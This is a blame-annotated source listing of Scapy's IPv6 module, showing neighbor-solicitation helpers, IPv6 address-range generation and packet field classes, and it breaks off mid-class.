inet6.py revision 2a7ad0d13aaaa2a5358f82c67877856863a30d61
1c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#! /usr/bin/env python
2c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
4614f54fc4b269030ba2934b6c353fb43de886e04Phil## inet6.py --- IPv6 support for Scapy                                     ##
5614f54fc4b269030ba2934b6c353fb43de886e04Phil##              see http://natisbad.org/IPv6/                              ##
6614f54fc4b269030ba2934b6c353fb43de886e04Phil##              for more informations                                      ##
7c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
8c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>         ##
9c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                     Arnaud Ebalard <arnaud.ebalard@eads.net>            ##
10c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
11c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is free software; you can redistribute it and/or modify it ##
12c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## under the terms of the GNU General Public License version 2 as          ##
13614f54fc4b269030ba2934b6c353fb43de886e04Phil## published by the Free Software Foundation.                              ##
14c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
15c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is distributed in the hope that it will be useful, but     ##
16c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
17c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
18c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## General Public License for more details.                                ##
19c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
20c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
21c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
220ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss"""
230ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk LossIPv6 (Internet Protocol v6).
240ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss"""
250ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss
26614f54fc4b269030ba2934b6c353fb43de886e04Phil
276057906368d55634d11e1d19a5cca1f127595b11Robin Jarryimport random
28d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilimport socket
296057906368d55634d11e1d19a5cca1f127595b11Robin Jarryimport sys
30d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilif not socket.has_ipv6:
31d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil    raise socket.error("can't use AF_INET6, IPv6 is disabled")
3281dfaee354bef2beea581a3c83a33c856ade45e5Dirk Lossif not hasattr(socket, "IPPROTO_IPV6"):
3381dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss    # Workaround for http://bugs.python.org/issue6926
3481dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss    socket.IPPROTO_IPV6 = 41
3503f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulkaif not hasattr(socket, "IPPROTO_IPIP"):
3603f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka    # Workaround for https://bitbucket.org/secdev/scapy/issue/5119
3703f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka    socket.IPPROTO_IPIP = 4
38d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil
39d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilfrom scapy.config import conf
406057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.base_classes import *
416057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.data import *
42614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.fields import *
43614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.packet import *
44614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.volatile import *
45614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.sendrecv import sr,sr1,srp1
46614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.as_resolvers import AS_resolver_riswhois
47614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.supersocket import SuperSocket,L3RawSocket
48614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.arch import *
4972461d0c00f182855906e57dcf6223aa9f1d8b31Philfrom scapy.utils6 import *
506057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.layers.l2 import *
516057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.layers.inet import *
526057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.utils import inet_pton, inet_ntop, strxor
536057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.error import warning
548d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarryif conf.route6 is None:
558d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry    # unused import, only to initialize conf.route6
568d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry    import scapy.route6
57c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
58c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
59c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
60c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Helpers                                                                  ##
61c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
62c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
63c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef get_cls(name, fallback_cls):
64614f54fc4b269030ba2934b6c353fb43de886e04Phil    return globals().get(name, fallback_cls)
65c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
66c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
67c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##########################
68c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Neighbor cache stuff ##
69c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##########################
70c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
71f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Philconf.netcache.new_cache("in6_neighbor", 120)
72c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
73caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
74c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef neighsol(addr, src, iface, timeout=1, chainCC=0):
75caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr
76caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
77caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    'src' address is used as source of the message. Message is sent on iface.
78caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    By default, timeout waiting for an answer is 1 second.
79c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    If no answer is gathered, None is returned. Else, the answer is
81c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    returned (ethernet frame).
82c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
83c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
84c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr))
85c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    d = inet_ntop(socket.AF_INET6, nsma)
86c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    dm = in6_getnsmac(nsma)
87c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255)
88c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p /= ICMPv6ND_NS(tgt=addr)
89c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface))
900d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0,
910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               chainCC=chainCC)
92c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
93c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
94c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
95caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
96c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef getmacbyip6(ip6, chainCC=0):
97caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Returns the MAC address corresponding to an IPv6 address
98caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
99c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    neighborCache.get() method is used on instantiated neighbor cache.
100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Resolution mechanism is described in associated doc string.
101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    (chainCC parameter value ends up being passed to sending function
103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil     used to perform the resolution, if needed)
104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
105f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if in6_ismaddr(ip6): # Multicast
107f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6))
108f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
109f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1107139f0150bfd006ab76b64a0aefbf2de2fc35443Robin Jarry    iff,a,nh = conf.route6.route(ip6)
111f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
11290da76f56bc90a7165f586c0fa89352c6f7ea784gpotter    if isinstance(iff, basestring):
11390da76f56bc90a7165f586c0fa89352c6f7ea784gpotter        if iff == LOOPBACK_NAME:
11490da76f56bc90a7165f586c0fa89352c6f7ea784gpotter            return "ff:ff:ff:ff:ff:ff"
11590da76f56bc90a7165f586c0fa89352c6f7ea784gpotter    else:
11690da76f56bc90a7165f586c0fa89352c6f7ea784gpotter        if iff.name == LOOPBACK_NAME:
11790da76f56bc90a7165f586c0fa89352c6f7ea784gpotter            return "ff:ff:ff:ff:ff:ff"
118f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if nh != '::':
120f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        ip6 = nh # Found next hop
121f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
122f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    mac = conf.netcache.in6_neighbor.get(ip6)
123f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    if mac:
124f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
125f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
126f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    res = neighsol(ip6, a, iff, chainCC=chainCC)
127f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
128f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    if res is not None:
129429082158fc01432c9d5e4a3de775f7a6e07a021Guillaume Valadon        if ICMPv6NDOptDstLLAddr in res:
1300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            mac = res[ICMPv6NDOptDstLLAddr].lladdr
1310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        else:
1320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            mac = res.src
133f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        conf.netcache.in6_neighbor[ip6] = mac
134f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
135f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
136f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    return None
137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###              IPv6 addresses manipulation routines                     ###
142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Net6(Gen): # syntax ex. fec0::/126
146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """Generate a list of IPv6s from a network address or a name"""
147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ipv6"
148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ipaddress = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$")
149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, net):
151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.repr = net
152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
153c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        tmp = net.split('/')+["128"]
154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not self.ipaddress.match(net):
155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0]
156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        netmask = int(tmp[1])
15877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        self.net = inet_pton(socket.AF_INET6, tmp[0])
159c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.mask = in6_cidr2mask(netmask)
16077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        self.plen = netmask
161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __iter__(self):
163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        def m8(i):
16477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if i % 8 == 0:
165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return i
166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        tuple = filter(lambda x: m8(x), xrange(8, 129))
167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a = in6_and(self.net, self.mask)
169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        tmp = map(lambda x:  x, struct.unpack('16B', a))
1700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        def parse_digit(a, netmask):
172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            netmask = min(8,max(netmask,0))
173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            a = (int(a) & (0xffL<<netmask),(int(a) | (0xffL>>(8-netmask)))+1)
174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return a
175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.parsed = map(lambda x,y: parse_digit(x,y), tmp, map(lambda x,nm=self.plen: x-nm, tuple))
176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1770d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        def rec(n, l):
17877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if n and  n % 2 == 0:
17977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sep = ':'
1800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            else:
181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                sep = ''
182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if n == 16:
18377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return l
184c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
18577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                ll = []
18677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                for i in xrange(*self.parsed[n]):
18777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    for y in l:
18877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                        ll += [y+sep+'%.2x'%i]
18977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return rec(n+1, ll)
190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
191c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return iter(rec(0, ['']))
192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
193c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __repr__(self):
194ce8d785c61d45928cc6da340beee91d32569d20dPierre LALET        return "Net6(%r)" % self.repr
195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                              IPv6 Class                               ###
204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6Field(Field):
208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        Field.__init__(self, name, default, "16s")
210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if type(x) is str:
212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
21377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                x = in6_ptop(x)
214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except socket.error:
215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = Net6(x)
216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif type(x) is list:
217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = map(Net6, x)
218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x
219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return inet_pton(socket.AF_INET6, x)
221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, x):
222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return inet_ntop(socket.AF_INET6, x)
223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def any2i(self, pkt, x):
224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.h2i(pkt,x)
225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
22777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return self.i2h(pkt,x)
22877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        elif not isinstance(x, Net6) and not type(x) is list:
22977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if in6_isaddrTeredo(x):   # print Teredo info
2300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                server, flag, maddr, mport = teredoAddrExtractInfo(x)
23177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport)
23277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            elif in6_isaddr6to4(x):   # print encapsulated address
233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                vaddr = in6_6to4ExtractAddr(x)
23477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr)
23577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return self.i2h(pkt, x)       # No specific information to return
23651db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil    def randval(self):
23751db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil        return RandIP6()
238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass SourceIP6Field(IP6Field):
240b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["dstname"]
241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, dstname):
242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        IP6Field.__init__(self, name, None)
243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.dstname = dstname
244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            dst=getattr(pkt,self.dstname)
247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            iff,x,nh = conf.route6.route(dst)
248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return IP6Field.i2m(self, pkt, x)
249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
25139b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            if conf.route6 is None:
25239b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                # unused import, only to initialize conf.route6
25339b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                import scapy.route6
25439b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            dst = ("::" if self.dstname is None else getattr(pkt, self.dstname))
25539b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            if isinstance(dst, (Gen, list)):
25639b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                r = {conf.route6.route(daddr) for daddr in dst}
25739b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                if len(r) > 1:
25839b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                    warning("More than one possible route for %r" % (dst,))
25939b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                x = min(r)[1]
260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
26139b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                x = conf.route6.route(dst)[1]
262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return IP6Field.i2h(self, pkt, x)
263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2644ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALETclass DestIP6Field(IP6Field, DestField):
2654ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET    bindings = {}
266104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def __init__(self, name, default):
267104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        IP6Field.__init__(self, name, None)
2684ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET        DestField.__init__(self, name, default)
269104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def i2m(self, pkt, x):
270104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        if x is None:
271104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET            x = self.dst_from_pkt(pkt)
272104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        return IP6Field.i2m(self, pkt, x)
273104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def i2h(self, pkt, x):
274104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        if x is None:
275104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET            x = self.dst_from_pkt(pkt)
276104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        return IP6Field.i2h(self, pkt, x)
277104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET
278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nh = { 0:"Hop-by-Hop Option Header",
279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           4:"IP",
280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           6:"TCP",
281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          17:"UDP",
282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          41:"IPv6",
283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          43:"Routing Header",
284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          44:"Fragment Header",
285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          47:"GRE",
286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          50:"ESP Header",
287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          51:"AH Header",
288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          58:"ICMPv6",
289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          59:"No Next Header",
290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          60:"Destination Option Header",
2910d49a3d0e63f90e8a46a9221b85ed599fa1b186fsachetmittal         132:"SCTP",
2920d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz         135:"Mobility Header"}
293c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
294c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nhcls = {  0: "IPv6ExtHdrHopByHop",
295c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4: "IP",
296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               6: "TCP",
297c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               17: "UDP",
298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               43: "IPv6ExtHdrRouting",
299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               44: "IPv6ExtHdrFragment",
300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              #50: "IPv6ExtHrESP",
301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              #51: "IPv6ExtHdrAH",
3020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               58: "ICMPv6Unknown",
303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               59: "Raw",
3045a64a524ad2b2b3e9d6ee03035e1d9aa52aef32fsachetmittal               60: "IPv6ExtHdrDestOpt" }
305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6ListField(StrField):
307b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["count_from", "length_from"]
308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    islist = 1
309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, count_from=None, length_from=None):
310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if default is None:
311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            default = []
312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrField.__init__(self, name, default)
313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.count_from = count_from
314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.length_from = length_from
315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
317c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 16*len(i)
318c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2count(self, pkt, i):
